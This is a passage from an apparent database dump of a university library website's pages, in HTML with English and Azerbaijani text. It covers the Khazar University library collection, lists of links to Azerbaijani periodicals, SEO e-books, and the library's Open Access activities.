in&nbsp;Azerbaijan.&nbsp;</p><p style=\"text-align:justify\">Khazar University Library Information Center collects printed and electronic materials in Azerbaijani, English, Russian, Turkish, Arabic, Persian, German, French, Japan, Chinese and other modern European and Oriental languages in the fields of Business Studies, Economics and Management, Engineering and Applied Sciences, Education, Social Sciences, Political Science and International Relations, Legal Studies, Education, Language Studies, Arts, Philosophy, Literature, History, and Medical Sciences. An average 75% of the library materials are in English. Textbooks published all over the world, as well as publications of Khazar University Press are widely presented in the library. Khazar University LIC has an extensive reference collection, including monolingual and bilingual encyclopedias. Besides purchases, LIC collections have grown through donations and various grants, allowing development of target collection.</p><p style=\"text-align:justify\">LIC has been continuing some projects related to the library collection development, including a long-term work with international library foundations and programs, such as Journal Donation Program, Science Journal Distribution Program, Sabre Foundation, American Chemical Society, Islamic Foundation, Corporate Body of Buddha Education Foundation in Taiwan, Japan Foundation Library&nbsp;Support Program, International Book Project, World Vision\'s Gift in Kind Program, Chinese Corner and others.&nbsp;</p><p style=\"text-align:justify\">LIC builds its collection of publications, share knowledge, and promote the exchange of scientific information is to establish publications exchange partnerships with The Library of Congress, UCLA and others.</p>'),(5059,2945,'en','Azerbaijani Periodicals Online','Azerbaijani Periodicals Online','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Newspaper:</strong></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse:collapse;border:initial none #000\">\r\n <tbody><tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.525.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">525-ci qəzet</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://hurriyyet.net/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Hürriyyət</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.525.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Аргументы и факты</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.iqtisadiyyat.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">İqtisadiyyat</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.ayna.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Ayna</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.ikisahil.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">İki sahil</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azadliq.info/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azadlıq</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.kaspi.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Kaspi</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azernews.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azernews</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.kp.ru/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Комсомольская правда</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.azerbaijan-news.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://medeniyyet.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Mədəniyyət</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong><a href=\"http://www.muallim.edu.az/\"><span style=\"color:#337ab7\">Az</span><span style=\"color:#337ab7\">ə</span><span style=\"color:#337ab7\">rbaycan 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style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Неделя</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.baki-xeber.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bakı – Xəbər</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.olaylar.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Olaylar</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.bakutimes.az/view/default.phtml?lang=az\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Baku Times</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://paritet.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Paritet</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.birja-vdv.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Birja</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.respublica-news.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Respublika</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.bizimyol.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bizim yol</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.sherg.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Şərq</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.butov.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Bütöv Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://tezadlar.narod.ru/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Təzadlar</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.scwra.gov.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Cəmiyyət və din</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.vergiler.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Vergilər</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.echo-az.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Эхо</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://vyshka.azeurotel.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Вышка</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://baku.adalet-az.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Ədalət</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.yeniazerbaycan.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Yeni Azərbaycan</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.football-plus.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Futbol +</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong style=\"color:#252525;font-family:Arial, sans-serif;font-size:13.5pt;box-sizing:border-box\"><span style=\"color:#337ab7\"><a href=\"http://www.musavat.com/\">Yeni Müsavat</a></span></strong></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.xalqcebhesi.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Xalq cəbhəsi</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><strong><strong><a href=\"http://www.zaman.az/az/mainAction.action\"><strong>Zaman&nbsp;–&nbsp;Azərbaycan</strong></a></strong> </strong></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"394\" style=\"width:295.15pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.xalqqazeti.com/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Xalq qəzeti</span></strong></a></li></ul><br>\r\n  </td>\r\n  <td width=\"230\" style=\"width:172.35pt;padding:0in 5.4pt 0in 5.4pt;vertical-align:top\">\r\n  <br><ul><li><a href=\"http://www.zerkalo.az/\" style=\"font-family:Arial, sans-serif;font-size:13.5pt\"><strong style=\"box-sizing:border-box\"><span style=\"color:#337ab7;text-decoration-line:none\">Зеркало</span></strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n</tbody></table><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Journals:</strong>&nbsp;</p>\r\n<table cellpadding=\"0\" width=\"600\" style=\"\" width:6.25in;background:#e9e9eb;border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://alatoran.org/\">Alatoran</a>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://khazar-view.org/\"><strong>Xəzər xəbər</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.azyb.net/cgi-bin/jurn/main.cgi?s=1\"><strong>Azərbaycan</strong></a></li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.infocity.az/\"><strong>Info city</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://azerbaijanarcheology.com/\"><strong>Azərbaycan arxeologiyası</strong></a>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.ijar.lit.az/\"><strong>International Journal of Academic Research</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.azer.com/\">Azerbaijan International</a></strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://irs-az.com/\"><strong>İRS</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.taxesnews.az/\">Azərbaycanın vergi xəbərləri</a></strong></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://jas-khazar.org/\"><strong>Khazar Journal of Humanities and Social Sciences</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.biznesjurnal.com/\"><strong>Banklar və biznes</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://jurnal.meclis.gov.az/\"><strong>Milli Məclis</strong></a></li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.baku-media.ru/\"><strong>Баку</strong></a></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.regionplus.az/\"><strong>Region plus</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.scwra.gov.az/\"><strong>Dövlət və din</strong></a>&nbsp;</li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><a href=\"http://www.azyb.net/cgi-bin/jurn/main.cgi?s=2\"><strong>Ulduz</strong></a>&nbsp;&nbsp;</li></ul><br>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td>\r\n  <br><ul><li><a href=\"http://eldergisi.ws/\"><strong>El</strong></a></li></ul>\r\n  </td>\r\n  <td>\r\n  <br><ul><li><strong><a href=\"http://www.visions.az/\">Visions of Azerbaijan</a></strong></li></ul></td></tr></tbody></table>'),(4999,2914,'az','EKitablar PDF','EKitablar PDF','<img src=\"http://library.khazar.org/media/search%20engine.JPG\" width=\"64\" height=\"93\" style=\"border:0px #0000ee;width:100px;height:142px;vertical-align:baseline;margin:7px;float:left\"><p><strong><a href=\"http://library.khazar.org/files/Search_engine_optimization_starter_guide.pdf\">Google Search Engine Optimization Starter Guide</a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://library.khazar.org/media/SEO%20praktika.JPG\" width=\"64\" height=\"95\" style=\"border:0px #0000ee;width:100px;height:149px;vertical-align:baseline;margin:7px;float:left\"><br><p><strong><a href=\"http://library.khazar.org/files/SEO_copywriting_ot_Ingate.pdf\">Наглядное пособие&nbsp; по SEO-копирайтингу</a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://library.khazar.org/files/SEO_copywriting_ot_Ingate.pdf\"></a></strong><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://library.khazar.org/media/SEO.JPG\" width=\"62\" height=\"89\" style=\"border:0px #0000ee;width:100px;height:142px;vertical-align:baseline;margin:7px;float:left\"><br><p><strong><a href=\"http://library.khazar.org/files/Gettop.pdf\">Как попасть в топ: практика эффективного SEO</a></strong>   </p><p><br></p><p><br></p><p><br></p>'),(5000,2914,'en','EBooks PDF','EBooks PDF','<img src=\"http://library.khazar.org/media/search%20engine.JPG\" width=\"64\" height=\"93\" style=\"border:0px #0000ee;width:100px;height:142px;vertical-align:baseline;margin:7px;float:left\"><p><strong><a href=\"http://library.khazar.org/files/Search_engine_optimization_starter_guide.pdf\">Google Search Engine Optimization Starter Guide</a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://library.khazar.org/media/SEO%20praktika.JPG\" width=\"64\" height=\"95\" style=\"border:0px #0000ee;width:100px;height:149px;vertical-align:baseline;margin:7px;float:left\"><p></p><p><strong><a href=\"http://library.khazar.org/files/SEO_copywriting_ot_Ingate.pdf\">Наглядное пособие&nbsp; по SEO-копирайтингу</a></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://library.khazar.org/files/SEO_copywriting_ot_Ingate.pdf\"></a></strong><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://library.khazar.org/media/SEO.JPG\" width=\"62\" height=\"89\" style=\"border:0px #0000ee;width:100px;height:142px;vertical-align:baseline;margin:7px;float:left\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Gettop.pdf\">Как попасть в топ: практика эффективного SEO</a></strong>   </p><p><br></p><p><br></p><p><br></p>'),(5001,2915,'az','Sərbəst Giriş Haqqında','Sərbəst Giriş Haqqında','<p style=\"text-align:justify\">Open Access literature is digital, online, free of charge, and free of most copyright and licensing restrictions. It can be in form of peer-reviewed journal articles and conference papers as well as technical reports, theses and working papers but also research data and multimedia files or in fact any other format as long as it is being understood as valuable to share freely for research, teaching and other purposes. This is made possible by the internet and the consent of the author or copyright-holder.</p><p><strong>Open Access movement  <br></strong></p><p style=\"text-align:justify\">The Open Access movement is the worldwide effort to provide free online access to scientific and scholarly research literature, especially peer-reviewed journal articles and their preprints.<br></p><p style=\"text-align:justify\">The Open Access movement started out with a series of statements or declarations. Historically the movement has progressed and gained momentum since 2002 through three major statements made in&nbsp;Budapest, Bethesda and&nbsp;Berlin.</p><br><ul><li style=\"text-align:justify\"><a href=\"http://www.soros.org/openaccess/read.shtml\">Budapest Open Access Initiative</a> (February 2002)&nbsp;&nbsp;</li><li><a href=\"http://www.earlham.edu/~peters/fos/bethesda.htm\">Bethesda Statement on Open Access Publishing</a> (June 2003)</li><li style=\"text-align:justify\"><a href=\"http://oa.mpg.de/berlin-prozess/berliner-erklarung/\">Berlin Declaration on Open Access to Knowledge in the Sciences and Humanities</a> (October 2003)&nbsp;</li><li style=\"text-align:justify\"><a href=\"http://www.earlham.edu/~peters/fos/bethesda.htm\">Bethesda Statement on Open Access Publishing</a> (June 2003)</li></ul>'),(5002,2915,'en','About Open Access','About Open Access','<p style=\"text-align:justify\">Open Access literature is digital, online, free of charge, and free of most copyright and licensing restrictions. It can be in form of peer-reviewed journal articles and conference papers as well as technical reports, theses and working papers but also research data and multimedia files or in fact any other format as long as it is being understood as valuable to share freely for research, teaching and other purposes. This is made possible by the internet and the consent of the author or copyright-holder.</p><p><strong>Open Access movement  <br></strong></p><p style=\"text-align:justify\">The Open Access movement is the worldwide effort to provide free online access to scientific and scholarly research literature, especially peer-reviewed journal articles and their preprints.<br></p><p style=\"text-align:justify\">The Open Access movement started out with a series of statements or declarations. Historically the movement has progressed and gained momentum since 2002 through three major statements made in&nbsp;Budapest, Bethesda and&nbsp;Berlin.</p><p></p><ul><li style=\"text-align:justify\"><a href=\"http://www.soros.org/openaccess/read.shtml\">Budapest Open Access Initiative</a> (February 2002)&nbsp;&nbsp;</li><li><a href=\"http://www.earlham.edu/~peters/fos/bethesda.htm\">Bethesda Statement on Open Access Publishing</a> (June 2003)</li><li style=\"text-align:justify\"><a href=\"http://oa.mpg.de/berlin-prozess/berliner-erklarung/\">Berlin Declaration on Open Access to Knowledge in the Sciences and Humanities</a> (October 2003)&nbsp;</li><li style=\"text-align:justify\"><a href=\"http://www.earlham.edu/~peters/fos/bethesda.htm\">Bethesda Statement on Open Access Publishing</a> (June 2003)</li></ul><p></p>'),(5003,2916,'en',' LIC Open Access Position',' LIC Open Access Position','<p><span style=\"text-align:justify\">Khazar University Library and Information Center has involved in a wide range of Open Access-related activities. These activities fall into three broad areas:</span></p><br><ul><li><strong>OA Repositories</strong></li><li><strong>Open Access Journals</strong><strong>&nbsp;</strong></li><li><strong>OA Advocacy</strong><strong>&nbsp;</strong></li></ul><br><p>OA activities include the following:</p><br><ul><li style=\"text-align:justify\">Promote rights-protected open access Institutional repository that preserve research output of Khazar University community in perpetuity.</li><li style=\"text-align:justify\">Build a range of new kinds of partnerships and alliances to support OA, both within University departments and between other Azeri institutions.</li><li style=\"text-align:justify\">Base service-development OA strategies on substantive assessment of local needs rather than blindly replicating work done at another institution</li><li style=\"text-align:justify\">Engage with key local policy issues and stakeholders to encourage institutional engagement with national and international OA policy issues</li><li style=\"text-align:justify\">Develop outreach and marketing strategies that making OA journals accessible and discoverable to &nbsp;readers</li><li style=\"text-align:justify\">Actively promote the positive change in open access scholarly communication system.</li></ul><br><p style=\"text-align:justify\">LIC strives to outreach to the University faculty to educate and promote Open Access options. We work closely with faculty to both educate on the different publishing options and also to assist faculty with locating Open Access scholarly materials and including these materials into curriculum by one-on-one consultation, presentations, etc.</p><p style=\"text-align:justify\">To encourage acceptance of Open Access among the academic and research community in our country, we made a number of attempts to disseminate information, including a series workshops, presentations, translation of key documents into Azeri.</p><p>LIC has made progress by:</p><ul><li style=\"text-align:justify\">encouraging university academic community to publish their work according to open access principles;</li><li style=\"text-align:justify\">developing&nbsp;<a href=\"http://jhss-khazar.org/\">Khazar Journal of Humanities and Social Sciences</a>&nbsp;(KJHSS)&nbsp;and other university open access online-journals in order to maintain the standards of quality assurance and good scientific practice (KJHSS&nbsp;is available&nbsp;<strong>under a&nbsp;</strong><a href=\"http://creativecommons.org/licenses/by-nc-sa/3.0/\">Creative Commons Attribution3.0&nbsp; (CC_BY)</a>)<strong>.</strong></li><li style=\"text-align:justify\">developing the open access&nbsp;<a href=\"http://dspace.khazar.org/\">Khazar University Institutional Repository</a>&nbsp;(KUIR).</li></ul>'),(5004,2916,'az','KİM-in Sərbəst Giriş Mövqeyi','KİM-in Sərbəst Giriş Mövqeyi','<p><span style=\"text-align:justify\">Khazar University Library and Information Center has involved in a wide range of Open Access-related activities. These activities fall into three broad areas:</span></p><br><ul><li><strong>OA Repositories</strong></li><li><strong>Open Access Journals</strong><strong>&nbsp;</strong></li><li><strong>OA Advocacy</strong><strong>&nbsp;</strong></li></ul><br><p>OA activities include the following:</p><br><ul><li style=\"text-align:justify\">Promote rights-protected open access Institutional repository that preserve research output of Khazar University community in perpetuity.</li><li style=\"text-align:justify\">Build a range of new kinds of partnerships and alliances to support OA, both within University departments and between other Azeri institutions.</li><li style=\"text-align:justify\">Base service-development OA strategies on substantive assessment of local needs rather than blindly replicating work done at another institution</li><li style=\"text-align:justify\">Engage with key local policy issues and stakeholders to encourage institutional engagement with national and international OA policy issues</li><li style=\"text-align:justify\">Develop outreach and marketing strategies that making OA journals accessible and discoverable to &nbsp;readers</li><li style=\"text-align:justify\">Actively promote the positive change in open access scholarly communication system.</li></ul><br><p style=\"text-align:justify\">LIC strives to outreach to the University faculty to educate and promote Open Access options. We work closely with faculty to both educate on the different publishing options and also to assist faculty with locating Open Access scholarly materials and including these materials into curriculum by one-on-one consultation, presentations, etc.</p><p style=\"text-align:justify\">To encourage acceptance of Open Access among the academic and research community in our country, we made a number of attempts to disseminate information, including a series workshops, presentations, translation of key documents into Azeri.</p><p>LIC has made progress by:</p><ul><li style=\"text-align:justify\">encouraging university academic community to publish their work according to open access principles;</li><li style=\"text-align:justify\">developing&nbsp;<a href=\"http://jhss-khazar.org/\">Khazar Journal of Humanities and Social Sciences</a>&nbsp;(KJHSS)&nbsp;and other university open access online-journals in order to maintain the standards of quality assurance and good scientific practice (KJHSS&nbsp;is available&nbsp;<strong>under a&nbsp;</strong><a href=\"http://creativecommons.org/licenses/by-nc-sa/3.0/\">Creative Commons Attribution3.0&nbsp; (CC_BY)</a>)<strong>.</strong></li><li style=\"text-align:justify\">developing the open access&nbsp;<a href=\"http://dspace.khazar.org/\">Khazar University Institutional Repository</a>&nbsp;(KUIR).</li></ul>'),(5005,2917,'az','Haqqımızda','Haqqımızda','<p style=\"text-align:justify\"><strong><a href=\"http://library.khazar.org/\">KİTABXANA İNFORMASİYA MƏRKƏZİ</a>&nbsp;</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\" style=\"text-align:justify\">Xəzər\r\nUniversitetinin</a><span style=\"text-align:justify\"> Kitabxana İnformasiya Mərkəzinin kolleksiyası </span><a href=\"https://az.wikipedia.org/wiki/Az%C9%99rbaycan\" 